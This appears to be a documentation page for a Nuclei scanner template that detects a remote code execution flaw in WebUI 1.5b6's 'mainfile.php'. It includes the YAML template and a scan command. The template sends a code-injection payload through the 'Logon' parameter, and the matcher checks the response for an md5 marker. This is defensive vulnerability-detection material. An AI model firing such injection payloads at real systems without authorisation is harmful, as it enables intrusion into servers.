WebUI 1.5b6 - Remote Code Execution
ID: webui-rce
Severity: critical
Author: pikpikcu
Tags: webui,rce,edb
Description
Section titled “Description”WebUI 1.5b6 is vulnerable to remote code execution because the ‘mainfile.php’ endpoint allows remote attackersto execute arbitrary code via the ‘Logon’ parameter.
YAML Source
Section titled “YAML Source”id: webui-rce
info: name: WebUI 1.5b6 - Remote Code Execution author: pikpikcu severity: critical description: WebUI 1.5b6 is vulnerable to remote code execution because the 'mainfile.php' endpoint allows remote attackersto execute arbitrary code via the 'Logon' parameter. reference: - https://www.exploit-db.com/exploits/36821 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 1 tags: webui,rce,edb
http: - method: GET path: - '{{BaseURL}}/mainfile.php?username=test&password=testpoc&_login=1&Logon=%27%3Becho%20md5(TestPoc)%3B%27'
matchers-condition: and matchers: - type: word words: - "c5b3d7397a90f42d222f7ed9408c0dc6" part: body
- type: status status: - 200# digest: 4b0a004830460221008102295158f0cb15959ac3d899a9364f6605d9c36b3143cc9a2c9ff892166c9a022100dcdbbdf67194896ffef5f410f237e14a86005febdb8f8aec80ee0f7a71fc4f29:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/webui-rce.yaml"